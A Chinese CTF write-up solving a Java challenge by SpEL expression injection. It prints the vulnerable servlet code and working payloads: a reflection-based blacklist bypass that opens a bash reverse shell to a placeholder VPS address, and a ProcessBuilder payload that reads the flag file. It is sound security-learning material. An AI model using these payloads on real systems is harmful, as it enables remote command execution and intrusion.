[JAVA安全分享]从第二届网刃杯CTF题目学习JAVA SPEL表达式注入


前言

Spring 表达式语言(简称“SpEL”)是一种强大的表达式语言,支持在运行时查询和操作对象图。语言语法类似于 Unified EL,但提供了额外的功能,最值得注意的是方法调用和基本的字符串模板功能。

第二届网刃杯的一道java题目ez_java是一道涉及SPEL注入的入门题目,这里写一下解题思路以及对SPEL注入的学习。


一、信息泄露

打开题目靶机,看到一个下载文件的功能。
download
抓包发现可能存在任意文件下载
抓包
看看能不能目录穿越把web.xml下载下来,如果可以的话就能分析项目的路由,也可以把源码下载下来。
在这里插入图片描述看到了有两个class文件,一个是前面下载的功能,另一个用浏览器打开看看

test388
直接显示error,没有头绪,把它的源码下载下来看看。

//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by FernFlower decompiler)
//

package com.abc.servlet;

import java.io.IOException;
import java.util.regex.Matcher;
import java.util.regex.Pattern;
import javax.servlet.ServletException;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import org.springframework.expression.Expression;
import org.springframework.expression.ParserContext;
import org.springframework.expression.common.TemplateParserContext;
import org.springframework.expression.spel.standard.SpelExpressionParser;
import org.springframework.expression.spel.support.StandardEvaluationContext;

public class TestServlet extends HttpServlet {
    public TestServlet() {
    }

    protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
        this.doPost(req, resp);
    }

    protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
        try {
            String name = request.getParameter("name");
            name = new String(name.getBytes("ISO8859-1"), "UTF-8");
            if (this.blackMatch(name)) {
                request.setAttribute("message", "name is invalid");
                request.getRequestDispatcher("/message.jsp").forward(request, response);
                return;
            }

            System.out.println(name);
            String message = this.getAdvanceValue(name);
            request.setAttribute("message", message);
            request.getRequestDispatcher("/message.jsp").forward(request, response);
        } catch (Exception var5) {
            request.setAttribute("message", "error");
            request.getRequestDispatcher("/message.jsp").forward(request, response);
        }

    }

    private boolean blackMatch(String val) {
        String[] var2 = this.getBlacklist();
        int var3 = var2.length;

        for(int var4 = 0; var4 < var3; ++var4) {
            String keyword = var2[var4];
            Matcher matcher = Pattern.compile(keyword, 34).matcher(val);
            if (matcher.find()) {
                return true;
            }
        }

        return false;
    }

    private String getAdvanceValue(String val) {
        ParserContext parserContext = new TemplateParserContext();
        SpelExpressionParser parser = new SpelExpressionParser();
        Expression exp = parser.parseExpression(val, parserContext);
        StandardEvaluationContext evaluationContext = new StandardEvaluationContext();
        return exp.getValue(evaluationContext).toString();
    }

    private String[] getBlacklist() {
        return new String[]{"java.+lang", "Runtime", "exec.*\\("};
    }
}

二、SPEL表达式注入

首先看用到的依赖,有SPEL是我们这次的主角。
在这里插入图片描述
分析一下代码功能,当我们往页面发送GET请求或者POST请求的时候,会取得键为name的参数(get或者post过去的都可以)。
name接下来会使用黑名单取匹配一下这个name,如果匹配上了就会报错并且退出。绕过黑名单之后,会在下面调用getAdvanceValue,getAdvanceValue中用了getValue解析了SPEL表达式。
在这里插入图片描述
spEL表达式是可以操作类和方法的,可以通过类型表达式T(Type)来调用任意类方法,这里采用StandardEvaluationContext,而它包含了spEL的所有功能,在允许用户控制输入的情况下可以造成任意命令执行。
StandardEvaluationContext公开全套SpEL语言功能和配置选项。可以使用它来指定默认的根对象并配置每个可用的评估相关策略。

那我们直接把payload通过name参数传入就行。执行的语句用#{}包裹。
在这里插入图片描述

如果没有被过滤,直接取得Runtime对象,通过Runtime对象的exec来执行命令。

T(java.lang.Runtime).getRuntime().exec("calc")

但是黑名单过滤了一些关键字。
在这里插入图片描述在这里插入图片描述
我们可以通过反射来执行命令,这样就可以绕过黑名单。

#{T(String).getClass().forName("jav"+"a.la"+"ng.Ru"+"ntime").getMethod("ex"+"ec",T(String[])).invoke(T(String).getClass().forName("jav"+"a.la"+"ng.Ru"+"ntime").getMethod("getRu"+"ntime").invoke(T(String).forName("jav"+"a.la"+"ng.Ru"+"ntime")),new String[]{"bash","-c","bash -i >& /dev/tcp/vps的ip/port 0>&1"})}

像上面这样,字符串可以分开再拼接,就可以绕过黑名单,这里直接就反弹shell。先url编码以下在打过去。
在这里插入图片描述在这里插入图片描述接受反弹shell成功,getshell成功!
在这里插入图片描述
获取flag
flag
如果靶机无法出网,那么我们的反弹shell就无法成功,但是只要SPEL显示在了页面上就可以把命令执行的结果显示出来。我们表达式的执行结果会当成字符串返回并显示在页面上,那么我们只要获取到命令执行的结果,返回String对象就可以了。因为Runtime执行命令无法获取结果,所以这里用到ProcessBuilder来执行命令。这样执行的命令执行结果可以获取。

#{new java.io.BufferedReader(new java.io.InputStreamReader(new ProcessBuilder(new String[]{"bash","-c","cat /f1AgJvav"}).start().getInputStream(), "gbk")).readLine()}

flag2

总结

又学到了一个新姿势,很有意思的知识点,慢慢积累,慢慢进步。

  • 7
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 1
    评论
2022网刃杯CTF是一场面向信息安全爱好者的竞技赛,旨在测试参与者在网络安全领域的技术水平和解决问题的能力。CTF是Capture The Flag的缩写,意指夺旗赛。比赛中,参与者需要根据给定的情景和任务,通过寻找和利用漏洞获得各种加密标记,即旗帜,以证明攻击并取得成功。 2022网刃杯CTF为参与者提供了一个良好的平台,帮助他们提升对网络安全的认知和技能,更好地理解网络攻防的原理和方法。参赛者将面对各种类型的题目,例如逆向工程、密码学、Web安全、二进制攻防等,需要通过解决这些题目来获取旗帜。 除了对技术水平的要求,参赛者还需要具备良好的团队协作能力,因为很多题目需要进行合作解决。此外,比赛还会设置一些线下考核,通过面对面交流和互动,增加了比赛的趣味性和挑战性。 参与2022网刃杯CTF对于从事信息安全相关工作的人来说是一次很好的学习和锻炼机会。通过参与这样的比赛,他们能够不断学习和掌握最新的网络攻防技术,提高自己的技术水平和解决问题的能力。同时,比赛还能够帮助建立更广泛的人脉,与其他安全领域的专家和爱好者交流和讨论,拓宽自己的眼界。 总而言之,2022网刃杯CTF是一次非常有意义和有益的比赛活动,它能够帮助参与者提升自己在网络安全领域的技术水平和解决问题的能力,并且通过比赛的方式增强团队合作和交流能力。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Cgxx

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值